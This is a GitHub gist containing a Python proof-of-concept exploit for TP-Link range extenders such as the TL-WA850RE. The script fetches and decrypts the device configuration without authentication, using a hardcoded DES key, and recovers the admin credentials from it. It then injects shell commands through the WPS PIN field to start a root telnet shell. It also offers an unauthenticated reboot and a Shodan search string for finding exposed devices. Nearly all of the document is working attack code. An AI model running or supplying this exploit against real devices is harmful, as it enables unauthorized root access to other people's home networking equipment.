Created
July 20, 2018 01:49
-
-
Save eacmen/9ab3d768663003f85889b5b6d2fa41a4 to your computer and use it in GitHub Desktop.
TP-LINK WL-WA850RE POC Unauthenticated Exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import os | |
import md5 | |
import zlib | |
import json | |
import socket | |
import urllib2 | |
import subprocess | |
class Exploit(object): | |
''' | |
Exploit for the TL-WA850RE. Unauthenticated users can retrieve the device | |
configuration data, authenticate, and execute arbitrary commands as root. | |
Prior art: | |
o https://www.exploit-db.com/exploits/44550/ | |
o https://www.exploit-db.com/exploits/44912/ | |
o http://teknoraver.net/software/hacks/tplink/ | |
Shodan dork (look for results with 'Opening...' in the title): | |
o TP-LINK HTTPD/1.0 set-cookie | |
Tested against: | |
o RE450 v1.0 | |
o TL-WA850RE v5.0 | |
o TL-WA855RE v1.0 | |
o TL-WA855RE v2.0 | |
Also affected: | |
o RE305 v1.0 | |
o TL-WA830RE v3.0 | |
o TL-WA850RE v2.0 | |
o TL-WA850RE v4.0 | |
''' | |
def __init__(self, host="192.168.0.254", port=80): | |
self.host = host | |
self.port = port | |
self.cookie = None | |
self.cookie = self.get_cookie() | |
def md5(self, string): | |
m = md5.new() | |
m.update(string) | |
return m.hexdigest().upper() | |
def wget(self, uri, post=None): | |
url = "http://%s:%d%s" % (self.host, self.port, uri) | |
headers = { | |
'X-Requested-With' : 'XMLHttpRequest', | |
'Accept' : 'application/json, text/javascript, */*; q=0.01', | |
'Accept-Language' : 'en-US,en;q=0.9', | |
'Accept-Encoding' : 'gzip, deflate', | |
'Connection' : 'keep-alive', | |
'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8', | |
'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36', | |
'Referer' : 'http://%s/' % self.host, | |
'Host' : self.host, | |
'Origin' : 'http://%s' % self.host, | |
} | |
if self.cookie is not None: | |
headers['Cookie'] = 'COOKIE=%s' % self.cookie | |
request = urllib2.Request(url, post, headers) | |
response = urllib2.urlopen(request) | |
headers = response.info() | |
body = response.read() | |
response.close() | |
return (headers, body) | |
def get_cookie(self): | |
''' | |
Request the index page to get the device's web server to issue us a cookie. | |
''' | |
print "[+] Requesting browser cookie..." | |
(headers, html) = self.wget("/") | |
cookie_header = headers["Set-Cookie"] | |
cookie = cookie_header.split("COOKIE=")[1].split(";")[0] | |
print "[+] Retrieved cookie: '%s'" % cookie_header | |
return cookie | |
def get_config(self): | |
''' | |
Retrieve the device's current running configuration backup file. | |
Decrypt, decompress, and load the configuration data as JSON. | |
Requires openssl to be installed on the local system. | |
''' | |
tmpfile = "/tmp/encrypted_config_data" | |
print "[+] Attempting to retrieve device configuration data..." | |
(headers, encrypted_config_data) = self.wget("/fs/data/config.bin") | |
model_name = encrypted_config_data[0x18:].split("\x00")[0] | |
print "[+] Got encrypted config file for model: %s" % model_name | |
print "[+] Decrypting config file..." | |
# Shell out to openssl to decrypt the configuration file | |
open(tmpfile, "wb").write(encrypted_config_data) | |
proc = subprocess.Popen(["openssl", "enc", "-d", "-des-ecb", "-nopad", "-K", "478DA50BF9E3D2CF", "-in", tmpfile], stdout=subprocess.PIPE) | |
out = proc.stdout.read() | |
os.unlink(tmpfile) | |
print "[+] Decompressing configuration data..." | |
# Zlib compressed data starts at offset 0x90 | |
compressed_data = out[0x90:] | |
decompressed_data = zlib.decompress(compressed_data) | |
config_data = json.loads(decompressed_data.strip("\x00")) | |
# Add a SYSTEM key with the device's model name to the JSON config data | |
config_data["SYSTEM"] = {} | |
config_data["SYSTEM"]["model"] = model_name | |
#sys.stderr.write(json.dumps(config_data, indent=4, sort_keys=True) + "\n") | |
return config_data | |
def do_login(self, username=None, password=None): | |
''' | |
Authenticate to the device. The supplied password should be an MD5 hash | |
of the password, all uppercase. | |
''' | |
# Some affected systems just send the password; others send the username | |
# along with the password. If a username was specified, assume the latter. | |
if username is not None: | |
encoded = username + '%3A' + self.md5(password + ':' + self.cookie) | |
else: | |
encoded = self.md5(password + ':' + self.cookie) | |
post_data = "operation=login&encoded=%s&nonce=%s" % (encoded, self.cookie) | |
(headers, json_data) = self.wget("/data/login.json", post_data) | |
response = json.loads(json_data) | |
# On successful authentication, "success" should be True | |
return response["success"] | |
def login(self): | |
status = False | |
config = self.get_config() | |
username = config["ACCOUNT"]["UserName"] | |
password = config["ACCOUNT"]["Pwd"] | |
print "[+] Admin username: '%s'" % username | |
print "[+] Admin password (MD5): '%s'" % password | |
try: | |
print "[+] Attempting login with password only..." | |
status = self.do_login(username=None, password=password) | |
except ValueError: | |
pass | |
if status == False: | |
try: | |
print "[+] Attempting login with username and password..." | |
status = self.do_login(username=username, password=password) | |
except ValueError: | |
pass | |
return status | |
def reboot(self): | |
''' | |
Reboot the target. Does not require authentication. | |
''' | |
post_data = "operation=write" | |
try: | |
(headers, response) = self.wget("/data/reboot.json", post_data) | |
except socket.error: | |
return True | |
return False | |
def enable_telnetd(self): | |
''' | |
Start a telnet server on the target (port 8080). | |
''' | |
return self.command("telnetd -l /bin/sh -p 8080") | |
def command(self, command): | |
''' | |
Execute an arbitrary command on the target. | |
''' | |
post_data = "operation=write&option=connect&wps_setup_pin=12345670;%s" % command.replace(' ', '${IFS}') | |
if self.login() == True: | |
print '[+] Attempting to execute "%s"...' % command | |
(headers, json_data) = self.wget("/data/wps.setup.json", post_data) | |
response = json.loads(json_data) | |
return response['success'] | |
else: | |
print "[-] Login failed :(" | |
return False | |
if '__main__' == __name__: | |
import sys | |
ip = '192.168.0.254' | |
port = 80 | |
try: | |
host = sys.argv[1] | |
if "://" in host: | |
host = host.split("://")[1].strip("/") | |
if ':' in host: | |
(ip, port) = host.split(':') | |
port = int(port) | |
else: | |
ip = host | |
except: | |
sys.stderr.write("Usage: %s ip:port\n" % sys.argv[0]) | |
sys.exit(1) | |
exploit = Exploit(ip, port) | |
if exploit.enable_telnetd() == True: | |
print "[+] Exploit successful!" | |
else: | |
print "[-] Exploit failed :(" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
LOOOOL